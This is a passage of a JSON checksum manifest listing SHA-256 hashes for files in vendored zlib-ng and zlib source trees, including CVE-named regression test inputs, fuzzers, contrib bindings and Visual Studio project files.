b4c6eea8511a7579738e622af062ad16f4016312e93ad34bc5903d8b3c4a1","src/zlib-ng/test/CVE-2002-0059/test.gz":"60bf96b8f433bd7e057ce3496aceaccd70ec80f596a4aa8bcc7786056705ce66","src/zlib-ng/test/CVE-2003-0107.c":"6ed6fba710f8f2b898750f0ec17720fbf01e45c39e8adbba6409681b34914140","src/zlib-ng/test/CVE-2004-0797/test.gz":"38caae524705f676bde13a8df9fc8c7d2fe105ba6bdbab62a405b0276fd3aa2e","src/zlib-ng/test/CVE-2005-1849/test.gz":"e4d5a60617df4b5dd44eda94751ce1eacdb325792bba6e3cc4676719a3adf742","src/zlib-ng/test/CVE-2005-2096/test.gz":"8f702d4861aa3ec98ac03a59ff26b430939630cb5cd4266d2658d3b836d576f9","src/zlib-ng/test/CVE-2018-25032/default.txt":"d7f8278db331c47bd1208bf41e7903cbddee4f7b47c666c40afdd3c96237752e","src/zlib-ng/test/CVE-2018-25032/fixed.txt":"3b27a98edd2f3f580033f9add11d3469d7808c969a1128ee00c18ac7a12cef57","src/zlib-ng/test/GH-361/test.txt":"358497d0a7251ea42101dc77b02337f46fd89af09643a8288e2a3082e5d24128","src/zlib-ng/test/GH-364/test.bin":"af5570f5a1810b7af78caf4bc70a660f0df51e42baf91d4de5b2328de0e83dfc","src/zlib-ng/test/GH-382/defneg3.dat":"b22bef6b7392401c9e7b079402c4a4074053d7a914d050400e37fd7af6fe26d5","src/zlib-ng/test/GH-751/test.txt":"b83d833803b7bc3124fb2a0034081f0b999ad10c33a8dfa3bfd181dc078ae3ee","src/zlib-ng/test/GH-979/pigz-2.6.tar.gz":"2eed7b0d7449d1d70903f2a62cd6005d262eb3a8c9e98687bc8cbb5809db2a7d","src/zlib-ng/test/Makefile.in":"48d033f2dbb62635624bf2c9e3e7fe279b72afc3411d14cb7cfdbf40f5b80e19","src/zlib-ng/test/README.md":"d60ef4851222ebc2a9fbc23f292ab11bc7fee40ba6171ea768b2ffa005df5b1d","src/zlib-ng/test/abi/ignore":"02aa87f77656dbc1fbddd23f436cd15465a92df0722da4055cae1bc8bf013097","src/zlib-ng/test/abi/zlib-v1.2.11-arm-linux-gnueabihf.abi":"f5e91f25b558a891fecbeb6e2e9575698630ab700d055a38f3bc4fe66257f513","src/zlib-ng/test/abi/zlib-v1.2.11-x86_64-linux-gnu.abi":"038337383cf780587d810cf5400d632f3a1f8517e63ac4a71b6e5224db8b1413","src/zlib-ng/test/abicheck.md":"6b4a87d760b3848fb1ded6782e02a1d074d9e487bdabb29274a62b31cdf48772","src/zlib-ng/test/abicheck.sh":"7ca2884ff37c697d380f620554525f9b9dc7fa76b45f866d284b2ea5b98c65cc","src/zlib-ng/test/adler32_test.c":"db3e8ad9a4e2ecce0c052b0bfe19834d3ff2fb2e9239cc3438a2c95db00b1d21","src/zlib-ng/test/crc32_test.c":"8f1223d8aa4c52a5e7323f422023f6b892ce684eaf7439ad905b855293f40143","src/zlib-ng/test/data/fireworks.jpg":"93b986ce7d7e361f0d3840f9d531b5f40fb6ca8c14d6d74364150e255f126512","src/zlib-ng/test/data/lcet10.txt":"1eb5d7bddb1c3cb68064d5b5f7f27814949674b6702564ff7025ced60795a6d9","src/zlib-ng/test/data/paper-100k.pdf":"60f73a051b7ca35bfec44734b2eed7736cb5c0b7f728beb7b97ade6c5e44849b","src/zlib-ng/test/deflate_quick_bi_valid.c":"a36697e5779a645354823f14540bd60b9378c2f4c5f2bb981d86bb34f29fcbb0","src/zlib-ng/test/deflate_quick_block_open.c":"455bd347bb88debdfacb409846170274991ec9ba71c52b8fd0e526daf57265eb","src/zlib-ng/test/example.c":"1c8d9d14128da9fb5415683aa7318ae0aa94b743f75905288a2a9decd4ead98d","src/zlib-ng/test/fuzz/checksum_fuzzer.c":"65a96358c9a82efc4b251b4f322b02fade7b69f9bc6ac07294e641e3fe1ccdb1","src/zlib-ng/test/fuzz/compress_fuzzer.c":"1ab70608075c4bc60f89aa2f327cff88362ee7b1d31da88ed54ca51e5f99e5c9","src/zlib-ng/test/fuzz/example_dict_fuzzer.c":"be68f9eee3deae7f9163c6288742e5455bc28f659f80fdb276fafe215f028b97","src/zlib-ng/test/fuzz/example_flush_fuzzer.c":"f12246a184dcfe0a19a98cdc742a1fe8da388ad20b406635d63f1fa10d45b9ca","src/zlib-ng/test/fuzz/example_large_fuzzer.c":"f490abcd332fb4e7921292adf6876d38d7f71c8d2443212c781ba88957ff9303","src/zlib-ng/test/fuzz/example_small_fuzzer.c":"a9b3436b291ace821b6013311a1100e19a9e1c67fefd3f97dbd60688f9bf22b1","src/zlib-ng/test/fuzz/minigzip_fuzzer.c":"5faecfe9e6ecc47e746151bd1cc24a2e2dba8b7ffeb270d2c88cb126273ab446","src/zlib-ng/test/fuzz/standalone_fuzz_target_runner.c":"f25649ed35b8b7a3899c8d7ff52f9972dfc7bf274889e0a7a77fbfdf1c1cfef0","src/zlib-ng/test/gh1235.c":"8310ef780dc483a1708750cd7c120b8e9cc0e1614767d24c01869e529074e981","src/zlib-ng/test/hash_head_0.c":"448def3e8ea13fbcac86202e50b8a71b6cea585d7bdbca0bc6cf6056e4059f98","src/zlib-ng/test/infcover.c":"9c0e8068fdc614b1852e8d274231b41ce3ce975d4419ed31e700a0b05e702303","src/zlib-ng/test/inflate_adler32.c":"ab430c97ae8f569784710118038e8ebf53f4136d1a957e1277c0904f9218340b","src/zlib-ng/test/minideflate.c":"34fdce39628ffd173f7736d9fb65dfa40d0b0289def64b935075f6c6cffe1999","src/zlib-ng/test/minigzip.c":"7dbce6528601f7fdd586280885ed439cb539e15f36dd3974274729bfcdd41928","src/zlib-ng/test/pigz/CMakeLists.txt":"aa70f1025adc004985bfe0accee9b7a80e04786d82705e27c377a5e8d4ecbaaa","src/zlib-ng/test/pkgcheck.sh":"581b3de9c58e96038af94c73cbdb30eed32900f7abb8fa7692426fa68059b0ef","src/zlib-ng/test/switchlevels.c":"ceb6cc4d48a637562009d8f7f82635fa9942acd1bfd597acd99454a03a3a98e3","src/zlib-ng/test/testCVEinputs.sh":"5de6198444c16726f8e0a8f2beb5b89c5ae7e7e3736ce760b9fbc719493e7e4f","src/zlib-ng/tools/codecov-upload.sh":"ec7a8f1405820810e486e3d7e2fda7eb958c17877b0000b93abdf09d87732a2f","src/zlib-ng/tools/config.sub":"32186cfeb5db62c99e1dfbfb07f24c1a50977447b4c26d2907021c74422a70d2","src/zlib-ng/tools/makecrct.c":"55c8f7b8e29393e95988a29de8cb1a1bdf2738a69d53627bd0f9d7bf169bf0a8","src/zlib-ng/tools/makefixed.c":"bffd02540231304f9bcc755b8cb9ae5cfbc48975857bbb4547f1d6acce21ef57","src/zlib-ng/tools/maketrees.c":"30e9f70addf691d1241e594a7f31fc78b119b65e8af9ac8e20fe6da01635d3b3","src/zlib-ng/trees.c":"2cd9a1dc8d9231e9fc4e53e56b87307989c1b7f33212cde4ee434ef71c28af2a","src/zlib-ng/trees.h":"24174f3543b01ee1ef370bbf6d15551a21871cded18b2aadf09a71e7904b6f99","src/zlib-ng/trees_emit.h":"2e93093ae5362523a26877d6fd663bb05793795889d2bfb987cbada9a9dc4517","src/zlib-ng/trees_tbl.h":"35f4fd0ec080c1ade342e2dd1b0f5cdc7e9f18990faa48d7a8a69bc318ebe607","src/zlib-ng/uncompr.c":"4ebb486b27930f8a6ec4a3cc90a207d0bcf8a4779d1dbf3b2184a2b2a5735cd1","src/zlib-ng/win32/DLL_FAQ.txt":"f17fd3823726adbae63b91c00d5db1dccae2e289258edabbbbebde04bb6e7e8c","src/zlib-ng/win32/Makefile.a64":"775d6902373d1583430b5d7467f001746be323610c89be27e02bbfe0205994f3","src/zlib-ng/win32/Makefile.arm":"7535e022f482920c3fa7a267e84e39ad790d150f72e5c30414baa156c2fdd9b6","src/zlib-ng/win32/Makefile.msc":"d769a00c0ad4cb5fc624d2ae004dfa3785a2f4310324b03afd2156e759003a06","src/zlib-ng/win32/README-WIN32.txt":"cdcca6e7a5d2d23618a48fafb8eea347227f8ecf1f38a6aa90f0e7e455bc6574","src/zlib-ng/win32/zlib-ng.def":"f240276caf805a10d024fc6a66efe915c435734c69732818d92fb04d08ab350c","src/zlib-ng/win32/zlib-ng1.rc":"ea0ea4d116b583510b113a27fdec2ad4f0890206963f0e3838f275b8005dde5d","src/zlib-ng/win32/zlib.def":"d9c371ff2677567350386441a2e3d0258010d6502290bbac5ac42ea168bd5212","src/zlib-ng/win32/zlib1.rc":"ec5021dba35f9fae5f5f82ad6b6bd059928548e0608e4ede0bcffccf5c1210a1","src/zlib-ng/win32/zlibcompat.def":"73728b9df4379dc70ebd9b2a9f20d6e4ed7c031fa1f351cdeae1de7d1db05bd1","src/zlib-ng/zbuild.h":"d4d52d3296cc949a5d694e7349a8236854f2ec116c184a310e4e62b28caf5b63","src/zlib-ng/zconf-ng.h.in":"f206ac69c1fa48c670648d26028263372a539ed1243a9a26e5b35bf52e2363ff","src/zlib-ng/zconf.h.in":"dbf08736c3bc5e41242b09e13d0a523b440250410476dd58747c14e28984f1e5","src/zlib-ng/zendian.h":"f5cfa865281d2c5d0b097d318500f27daeec346e7882de68e279486d79c52e77","src/zlib-ng/zlib-ng.h":"d51896e8411868ed195d5cf41fda4f1c5a9c891832dfd16b559a5ed6beedd890","src/zlib-ng/zlib-ng.map":"03ef4439594619e215dbb1717f8c13e16159308ef3817761ba1a3cca7f7834df","src/zlib-ng/zlib.h":"7e3666971e08019fc7097f11d593aac9ff6824a1ecc945c48f76009f7c27d55a","src/zlib-ng/zlib.map":"9997aa913dec6da106ab2089d2a72ca5e1b7fafe0807ac0bc1318ce8c8defab9","src/zlib-ng/zlib.pc.cmakein":"17668e07edbe5971043bea26a2f2b92c4c7cf4724620f1156f3ea1436d2aac93","src/zlib-ng/zlib.pc.in":"cf94c9aa44878a62e27c2f75354c08326b3bb5250a9b11496855cf59691177bb","src/zlib-ng/zutil.c":"53418b23c7878e968b4d04df8ebac74f64f60d32277f2343d16da52059dbc782","src/zlib-ng/zutil.h":"a14c18dd4a96909aaf0aa016cb6df97d77cf5b735283527c906181eead22f0e9","src/zlib-ng/zutil_p.h":"c259b33614007463b41d4184e0bdf10d62325445ee9308e1e1885862d201657a","src/zlib/CMakeLists.txt":"d3ea46cd350c74c21c2dd97f6d0ad354db76b2b43cc91ec1144b88267f67a588","src/zlib/ChangeLog":"6933f4ab74360476bc80d9eda2afd98f93588a5d276e1197926267421dd6959e","src/zlib/FAQ":"1e8a0078be0ff1b60d57561a9e4a8cad72892318a8831946cba1abd30d65521c","src/zlib/INDEX":"3b4e325d47ae66456d43fcf143ba21ab67a02a4f81be7ef2da480ba30d774266","src/zlib/LICENSE":"845efc77857d485d91fb3e0b884aaa929368c717ae8186b66fe1ed2495753243","src/zlib/Makefile":"ef23b08ce01239843f1ded3f373bfc432627a477d62f945cbf63b2ac03db118a","src/zlib/Makefile.in":"77a662b885182111d7731eef75176b4c5061002f278b58bf9bf217e2fa16cadb","src/zlib/README":"4bb4d5664fb9d06ef0d47e8ef73104bd545a5a57eb7241be4f2e0be904966322","src/zlib/adler32.c":"d7f1b6e44fee20ab41cef1d650776a039a2348935eb96bcbd294a4096139be3a","src/zlib/amiga/Makefile.pup":"a65cb3cd40b1b8ec77e288974dd9dc53d91ed78bbe495e94ccc84ddd423edf1f","src/zlib/amiga/Makefile.sas":"0e63cf88b505a1a04327bb666af3a985c5e11835c0c00aed4058c0dcc315d60e","src/zlib/compress.c":"6d0f0d0784744acca2678ce325c8d7c4c030e86f057adb78adcee111d2248c0d","src/zlib/configure":"2d964a697f9060d3a8fc5b4272c9d07b22e5fe6f5cf327e5c29f62f67d935759","src/zlib/contrib/README.contrib":"b925ae08d371b33c4b5ffd67c707150729a476caf47cfe2eafc002291f23f931","src/zlib/contrib/ada/buffer_demo.adb":"469cf566a6965767fee6b987a239ed8cedcc66614940d45a9b434331fbb435ce","src/zlib/contrib/ada/mtest.adb":"41b6f31684770334afdc4375871eb1408542f37a823a073556fdbfdb63753160","src/zlib/contrib/ada/read.adb":"fa5b989aef0c5715a3fcb15de93985f7f10aeb0a7f5716745c95ed820eb9af9c","src/zlib/contrib/ada/readme.txt":"8fe9e5303f2e8e8b746c78250e74b7c4aeb7ce6212fdce751fc3a0ce56a47fe2","src/zlib/contrib/ada/test.adb":"5e3abe79b387e09a9a42bd0543105e228f39a335240cffc33d71f0ba66ff2511","src/zlib/contrib/ada/zlib-streams.adb":"f45988e2bac76eb25a0dc981f46576e7432c35dde1790bbc2b650f0090b7fa72","src/zlib/contrib/ada/zlib-streams.ads":"969e8edb0611810fb52159dcb7c40228f4e5da810a7a3576b778116a93038c6b","src/zlib/contrib/ada/zlib-thin.adb":"03d89244ee5ec9771d9b5050e586c609f851af551b2e64eb151f1d5be0b63ae9","src/zlib/contrib/ada/zlib-thin.ads":"631ef170bde16c3ca8d412b54a0e519815b80197d208f8f393e6fe017bb0968e","src/zlib/contrib/ada/zlib.adb":"c9ca5dc34fbcdf06e2dc777b7e9dcd0ba31085b772b440eb0e12421323ab672c","src/zlib/contrib/ada/zlib.ads":"02634bec0d5e4c69d8d2859124380074a57de8d8bd928398379bfacc514236d2","src/zlib/contrib/ada/zlib.gpr":"859bb69dce38dbe9dca06753cf7ae7bd16d48f4fece8b87582dab8e30681d3de","src/zlib/contrib/blast/Makefile":"17d5d26c24bf51cad51045a38ffb73cc3539d29e89885aa249fcfd45a8659d5c","src/zlib/contrib/blast/README":"baa763ae03d88ef7ece6eb80d9a099b43d0b57639d6d281e1c7c6ca79d81daba","src/zlib/contrib/blast/blast.c":"1ab3e479d342bfc144167b808fb00142264bc50f24a110ca88cc774e351c218e","src/zlib/contrib/blast/blast.h":"9c1c422b76311d4cb06863ffc056668b6240f3dd998bc02e89ee590d482bfdc2","src/zlib/contrib/blast/test.pk":"5f5c262c545574a5c221132d5ef832478d222d70b015341795b3860204140d7c","src/zlib/contrib/blast/test.txt":"9679b2c98e1283222d0782b25a1c198dc64ba9ebd1addd6dc6f643a45947cda3","src/zlib/contrib/delphi/ZLib.pas":"6dcc65866e3fb3d33d2a2328c547458156883a3e6749d52ded209357a49d61de","src/zlib/contrib/delphi/ZLibConst.pas":"84bcc580bdf397e570f86f3f5a5b8c7bf537828f30b4b72648b81911f6bf5095","src/zlib/contrib/delphi/readme.txt":"f7420ed2de77d4b498eefbbe6402a1d17dc2d411735289c78a265c7f10fdaee5","src/zlib/contrib/delphi/zlibd32.mak":"850e91b6c9ea05de61a411cbda16fa0f10118cd88bb32c4b7226988776f8d511","src/zlib/contrib/dotzlib/DotZLib.build":"b96137097669644ecb9f42cdd3399d1fce9c512788374609303f7e50abf597f0","src/zlib/contrib/dotzlib/DotZLib.chm":"20d0e3edd57f849143255a7f0df1cd59d41db464a72c0d5ab42846438a729579","src/zlib/contrib/dotzlib/DotZLib.sln":"a979198c5b8d144c1ac8f993bfb6f4085d135aa58ca9dcf63ebabf52b5c695f7","src/zlib/contrib/dotzlib/DotZLib/AssemblyInfo.cs":"314afcfb339ea95f5431047b7ab24631b11c3532c7ce5dc2094ed0cf80a7c16d","src/zlib/contrib/dotzlib/DotZLib/ChecksumImpl.cs":"e7c047a2c3bcf88d3d002ee3d2d05af414acf53cb4451efacc0f2e95a474ea0f","src/zlib/contrib/dotzlib/DotZLib/CircularBuffer.cs":"be84c9736fe7bdc2bfae70466d8fff582504e928d5b5e110fd758090090c8cb7","src/zlib/contrib/dotzlib/DotZLib/CodecBase.cs":"259bdda1b7d6052134e631fa24bfd9dca6e2362563496c8b85257b56c848908c","src/zlib/contrib/dotzlib/DotZLib/Deflater.cs":"06ba6696a3c15c53ba5fd5a1c2bf50b51f217010228fc1e4c8495ee578f480de","src/zlib/contrib/dotzlib/DotZLib/DotZLib.cs":"9837fe993fd631233cc5e53ff084d86754b97f05ec77c54b0764c2706f186134","src/zlib/contrib/dotzlib/DotZLib/DotZLib.csproj":"21606db31dfef6410dd438b73f1db68856eacabcce6c0f0411fc4f17e17001f3","src/zlib/contrib/dotzlib/DotZLib/GZipStream.cs":"8d1de9755c77046b4ac71340a0a54434ebf4fd11b085c44454d7663a9b4df1c5","src/zlib/contrib/dotzlib/DotZLib/Inflater.cs":"9016ca73818f5b6a28791abc3af6da7c4d2773b6a3804f593f6d5737a62b99ad","src/zlib/contrib/dotzlib/DotZLib/UnitTests.cs":"c95048d763c7e367ba0bb7c31981e0610131fa12356bbd9bfdb13376778e9a0c","src/zlib/contrib/dotzlib/LICENSE_1_0.txt":"36266a8fd073568394cb81cdb2b124f7fdae2c64c1a7ed09db34b4d22efa2951","src/zlib/contrib/dotzlib/readme.txt":"d04972a91b1563fb4b7acab4b9ff2b84e57368953cc0596d5f5ea17d97315fd0","src/zlib/contrib/gcc_gvmat64/gvmat64.S":"22ff411b8b1d1b04aeaa8418b68245400267dc43c6f44104f6ccd37f0daee89f","src/zlib/contrib/infback9/README":"890288f02bb3b1f9cc654b87a07fcea695f90f6b9bd672d25bf6be1da2ec1688","src/zlib/contrib/infback9/infback9.c":"0a715c85a1ce3bb8b5a18d60941ffabc0186a886bcc66ba2ee0c4115a8e274e9","src/zlib/contrib/infback9/infback9.h":"dda2302f28157fe43a6143f84802af1740393572c2766559593996fd7a5a3245","src/zlib/contrib/infback9/inffix9.h":"84a2ba4727767c18af6505f0e81d9c814489c8b9ed330a25dad433db72997e43","src/zlib/contrib/infback9/inflate9.h":"32a907676cc36e27d0fdc0d99adb83a0b23f20ab61896269216d40fecf08d349","src/zlib/contrib/infback9/inftree9.c":"1f262e5ae8094c9d8b172241e567c86be560327b840ca8fb771e98461bcb158a","src/zlib/contrib/infback9/inftree9.h":"145072793141cb313c91cdf9dee9d4b8e8a38d77099f87e9cd05c7b5ead8f099","src/zlib/contrib/iostream/test.cpp":"0f3c77e013949eb9c91e6b690ea894e19d97944d6b0885b82806fc3ad99680cf","src/zlib/contrib/iostream/zfstream.cpp":"8ebb9b3d521cc3392953f27658cf1f6dcb763216079f69a1518ec5ca0e42a63b","src/zlib/contrib/iostream/zfstream.h":"4369c35e66f63f52ca4a5e1759bf720507ccabb8f3f132e2f18e68686c812401","src/zlib/contrib/iostream2/zstream.h":"d0343e0c57ff58008b6f29643d289c72713aa2d653fe3dcd2e939fc77e7e20b6","src/zlib/contrib/iostream2/zstream_test.cpp":"f789df183cc58b78751985466380c656308490a9036eb48a7ef79704c3d3f229","src/zlib/contrib/iostream3/README":"43ec48ecbd95a8c45db20b107fac73b740bb11595a4737329188f06b713972cc","src/zlib/contrib/iostream3/TODO":"af5ebc83fb88f69706c8af896733784753dead147687e1c046f410c0997fd88b","src/zlib/contrib/iostream3/test.cc":"8e17fc48dfdbc6e268838b8b427491b5843b6d18bc97caa6924de9fad7abe3da","src/zlib/contrib/iostream3/zfstream.cc":"8cdd67ed0b13c192c11e5ea90e9d5782d6627eb303fbc4aa5ebda2531ec00ff8","src/zlib/contrib/iostream3/zfstream.h":"1bd74778fac45ee090dfc0f182a23e8a849152deb630606884b2635987b357b1","src/zlib/contrib/minizip/Makefile":"0f59cf07531cf34cb359f9dbe26d8207a2bbbdad618557894eb629925f7e8899","src/zlib/contrib/minizip/Makefile.am":"2313a3480a2c3745fa7ce216829cd0367058907d3a0902e5832c66c84a2fdfc6","src/zlib/contrib/minizip/MiniZip64_Changes.txt":"302c62b328647f5472fb7755249a83459be7f8ffb1fae07e8ba318fce8f4126c","src/zlib/contrib/minizip/MiniZip64_info.txt":"122719c32ef1763a5f6ba9c8cdefc1d78a76f7156b09e7b6f69b73f968e0dac3","src/zlib/contrib/minizip/configure.ac":"959e4762ddcb36dcf30512611ca9fbcbcd0c943228a6ac2975708798ae09a438","src/zlib/contrib/minizip/crypt.h":"1d25a0fab3189dc3c6ae43c7813e1e5d07d0d049bd32bd7bd0e9ccd752bfdd5e","src/zlib/contrib/minizip/ioapi.c":"f6878a3ecf6802f0f75cadb41a114fa274636c386bac794c66cbb27a24d9a29f","src/zlib/contrib/minizip/ioapi.h":"9f5448f8d5e8894d6f397dd09d24f7ff39cb818cd493a8bd90dda19553b814ea","src/zlib/contrib/minizip/iowin32.c":"103cdef91d57ceca7a1c1973772ff7e1d44c7b3e227a3640171957302bd9e974","src/zlib/contrib/minizip/iowin32.h":"586f22b9c3c64da253ce2b518e0fad61f19a7b47b289fc704cc9708242294c49","src/zlib/contrib/minizip/make_vms.com":"65736d9c4888f2373d3db0a13864d150c5040453f5bc2a5c8784379a7ea67590","src/zlib/contrib/minizip/miniunz.c":"b29dfb4cff9763497d8f0656c97027995e1ea0b4104e4a217ba7882337ae7a7a","src/zlib/contrib/minizip/miniunzip.1":"66d8684392167091ef0fe01598d6a0daa26e7e448e2df6c3cb257487735b83f7","src/zlib/contrib/minizip/minizip.1":"5404596e8e5587a52f563906119f32ceee30a6d97a966afa5c7afbe4d373e210","src/zlib/contrib/minizip/minizip.c":"b5b8f380297be0d90265356704df1e41bee0e903a2169263a2b50dc22cc3180a","src/zlib/contrib/minizip/minizip.pc.in":"8b6670b42d8e5e519e1cc89db093efc07ba23cb1ddfedd3c93ff2df08c3ce8ac","src/zlib/contrib/minizip/mztools.c":"cd887c4af6d20823bd15f24008b10acf01969b4165d7848656bde843a92428d7","src/zlib/contrib/minizip/mztools.h":"6f82c52279e8f79165f4446be652e5741a49992ac58632470335aa34c564072a","src/zlib/contrib/minizip/unzip.c":"fc9e8d752618a05c1f3a2ce61ebf76d0c8053dd5579458f836834a36e8690bbe","src/zlib/contrib/minizip/unzip.h":"20cdc47658a3e41db897d31650e46cd2c8cca3c83ddaaeb6c7a48dd8b7f18e03","src/zlib/contrib/minizip/zip.c":"bee2d6fa310c9451b24c036d5840a8c7c90b7cf8d12d5767175c207e56fefcc3","src/zlib/contrib/minizip/zip.h":"75b635dca8294790ab7ec1f72e9f1fd352d75b189c3c9b61c68f76bd7e612043","src/zlib/contrib/pascal/example.pas":"d842d456ecb6ff80e34cee2da31deb2072cc69ca837497bea8b8bee203403474","src/zlib/contrib/pascal/readme.txt":"02f997c37991ddae0cb986039f7b4f6fc816b3fd0ffd332cad371d04c12cf1b9","src/zlib/contrib/pascal/zlibd32.mak":"850e91b6c9ea05de61a411cbda16fa0f10118cd88bb32c4b7226988776f8d511","src/zlib/contrib/pascal/zlibpas.pas":"720346d2f40429de31bb16a895f42e878f259b1aff7d46c63e6616e629b3f7d5","src/zlib/contrib/puff/Makefile":"d9d738030464aaae354196c14fd928adf591832fce7d71ac1977c1d8d4923a4b","src/zlib/contrib/puff/README":"c5b9852fb11e0d6b6e916e5134cf034524d901b95368972133e0381e480eb479","src/zlib/contrib/puff/puff.c":"433f7f4495481dd95576dbb548b1bcfc5ca129d30421695fa609f5f6c14908b6","src/zlib/contrib/puff/puff.h":"969b7be2a930db0cdcb19b0e5b29ae6741f5a8f663b6dba6d647e12ec60cfa8e","src/zlib/contrib/puff/pufftest.c":"d24e31c1d277d07c268f34e9490050c6b53c68b128da3efbb1d05fc5b31004f7","src/zlib/contrib/puff/zeros.raw":"b7b0887089f7af1f6d1e0b4c0a1e8eddd10223b23554299455c6c9be71b653a3","src/zlib/contrib/testzlib/testzlib.c":"c6c37b35c6ecc9986a9041f86d879cc37a9e4d8315af9d725071eb3b2cade0c5","src/zlib/contrib/testzlib/testzlib.txt":"2359bbdc84eb8a04e0f1cd16cd81a2896e957f2ad58dab3ca78ef55b7d0dc577","src/zlib/contrib/untgz/Makefile":"8f5ab1564813e091cea8f1bb63da32fd80ac763d029277b0cabf50f60aceefe1","src/zlib/contrib/untgz/Makefile.msc":"d0f537de11d9e0e36e2a98b3971c537265f4b533b4c48797094365ad9ae8388b","src/zlib/contrib/untgz/untgz.c":"9a12d774301d252dcd38bba07ac369319da4c04c4fef8a50fcbf40aebf29c2a1","src/zlib/contrib/vstudio/readme.txt":"df5fe112bef3c23d5767602736f6d0ce43cbb49b584210fe57f6f59e634a49d0","src/zlib/contrib/vstudio/vc10/miniunz.vcxproj":"dd607d43c64581172c20c22112821924dfe862f56b2e5eb8780bdd0714d9527b","src/zlib/contrib/vstudio/vc10/miniunz.vcxproj.filters":"4b8466bf00c70b81c31cc903e756e04151fd90fdcbe102f3568a2c8b6190ea27","src/zlib/contrib/vstudio/vc10/minizip.vcxproj":"af73f2cf8ae51e65e85342faeb40849a2310c97bc77def42b38d7070460a6cf0","src/zlib/contrib/vstudio/vc10/minizip.vcxproj.filters":"f2815f9e3386c393d0a351632823b221ef9689da1f422ecaa561dba2a612fb0a","src/zlib/contrib/vstudio/vc10/testzlib.vcxproj":"c21e64259bf9efe97e1103212e7a6e1b7372b50067b4ba14cfa678e1f491095f","src/zlib/contrib/vstudio/vc10/testzlib.vcxproj.filters":"a7caddbac3ba90b5d482e6d926ef35cc40dc3553ed3776ef6b68a528fd5b0631","src/zlib/contrib/vstudio/vc10/testzlibdll.vcxproj":"3f317d8964f17901c3e68bff5deaec10b6ccc50a572235999e8097292692984c","src/zlib/contrib/vstudio/vc10/testzlibdll.vcxproj.filters":"29c9535775aa76320ee4efd001d41961faf6c58cedd8b29d3986e85f73d2f6fb","src/zlib/contrib/vstudio/vc10/zlib.rc":"6041a4727ea47520058a5b4bb8de87592883eb7f26dd39df62879c347f3888d1","src/zlib/contrib/vstudio/vc10/zlibstat.vcxproj":"50402ab8c63f746c034d6ce51d9612aff5b6af9aa27790cffa4b7deed4b30eb8","src/zlib/contrib/vstudio/vc10/zlibstat.vcxproj.filters":"eeb1de64c252c46b822f73f272127f6f9f0570ef22d234e093070ba95a4dde24","src/zlib/contrib/vstudio/vc10/zlibvc.def":"a228e521a561d4456c83c7081b4e9950cfce99133af7d5fdd27f12a8fd53efde","src/zlib/contrib/vstudio/vc10/zlibvc.sln":"e659860f705f31b87ea9139a3cb4ebe1561e120bce495383a54614fc82b49990","src/zlib/contrib/vstudio/vc10/zlibvc.vcxproj":"efad8cb150c0e5122f8c700d95c5de659dff92b171917c66bdbd082fff500b58","src/zlib/contrib/vstudio/vc10/zlibvc.vcxproj.filters":"c801732b7c7017796add50d2b71a228f99f95a46650baad307ff7e8358a2bfb0","src/zlib/contrib/vstudio/vc11/miniunz.vcxproj":"746e4c11fb8af4bcd6a9d68ba81ed1dc366a5de3bed56b291ee969ad733a7bb0","src/zlib/contrib/vstudio/vc11/minizip.vcxproj":"340617cae9cf4fcb003308021d3782ec3639e60d62d79a3aafc0a50bb55b061e","src/zlib/contrib/vstudio/vc11/testzlib.vcxproj":"99eadfdf2e41bc036141c174c4d0035d87572ce5795dcc28f39133f818a79d08","src/zlib/contrib/vstudio/vc11/testzlibdll.vcxproj":"583bdef522b0176829f0d8139ea2a88b9cbc14379d1334f3a863989ed3df9b67","src/zlib/contrib/vstudio/vc11/zlib.rc":"6041a4727ea47520058a5b4bb8de87592883eb7f26dd39df62879c347f3888d1","src/zlib/contrib/vstudio/vc11/zlibstat.vcxproj":"b07f792843d05ac883391075bc3b9625437490d8d40944ad359aa2134a09a3aa","src/zlib/contrib/vstudio/vc11/zlibvc.def":"a228e521a561d4456c83c7081b4e9950cfce99133af7d5fdd27f12a8fd53efde","src/zlib/contrib/vstudio/vc11/zlibvc.sln":"27389b515997defd080519f95aff87e89fcbe8b26d73c5ebb73c544cfef4d60e","src/zlib/contrib/vstudio/vc11/zlibvc.vcxproj":"d02d014ef957119a6fd0ab243c892b74d1592b117750b95fed21097c8ed922d9","src/zlib/contrib/vstudio/vc12/miniunz.vcxproj":"1494af54570f6e93852932956d49a8c25e57b5abc1ac979945605ca9143df9f8","src/zlib/contrib/vstudio/vc12/minizip.vcxproj":"9bf128ed6760ca5f019006f178b1c65f4c7ff122dba8d297b64b0eb72feeb120","src/zlib/contrib/vstudio/vc12/testzlib.vcxproj":"be88bc1220c0447c2379fdab3ac88055f58a8a788d3e9cec494342187e760eaf","src/zlib/contrib/vstudio/vc12/testzlibdll.vcxproj":"93416510256935d79625dc9fd349cfce6968c062d42a138bec404a26b2f92f5e","src/zlib/contrib/vstudio/vc12/zlib.rc":"90067be57a8c5df594a850352642f8b1dcb32e3d088d3805ebafe75a27412b74","src/zlib/contrib/vstudio/vc12/zlibstat.vcxproj":"faa229a851c76b77d65bb4742d8369efe566652bb6a1447d1e3539f289b5313d","src/zlib/contrib/vstudio/vc12/zlibvc.def":"a228e521a561d4456c83c7081b4e9950cfce99133af7d5fdd27f12a8fd53efde","src/zlib/contrib/vstudio/vc12/zlibvc.sln":"162e0faa80a56d89eea71a0b89377708eec2faa0dc72091cc0abb07fbdea49a0","src/zlib/contrib/vstudio/vc12/zlibvc.vcxproj":"8ac8cb2d29b880a738011d29d0511af9b14f321bed90f674109c446f4108d442","src/zlib/contrib/vstudio/vc14/miniunz.vcxproj":"0312511d4a30cea979c4e36edf994a537ed8a9d924f6b5c536cbcd094773c11f","src/zlib/contrib/vstudio/vc14/minizip.vcxproj":"9e7bb7a6ac723e4b2db900627c366f9bb93a351381995d9c69a50c0126f64233","src/zlib/contrib/vstudio/vc14/testzlib.vcxproj":"88667873d9d61d65016b9501ca925532eb55f56230e5911d3e2a01cd8a9fb2a4","src/zlib/contrib/vstudio/vc14/testzlibdll.vcxproj":"69f544898b4275cd3d8e19b8f1f8cb39c1cb98a30cdb033242e4b94c57bfa150","src/zlib/contrib/vstudio/vc14/zlib.rc":"90067be57a8c5df594a850352642f8b1dcb32e3d088d3805ebafe75a27412b74","src/zlib/contrib/vstudio/vc14/zlibstat.vcxproj":"5629eb0cc30674a39aa3636f1cdd190393b0dbd4c69a35e36ad85b6340055605","src/zlib/contrib/vstudio/vc14/zlibvc.def":"a228e521a561d4456c83c7081b4e9950cfce99133af7d5fdd27f12a8fd53efde","src/zlib/contrib/vstudio/vc14/zlibvc.sln":"47a50bbde8ca6336cecd8c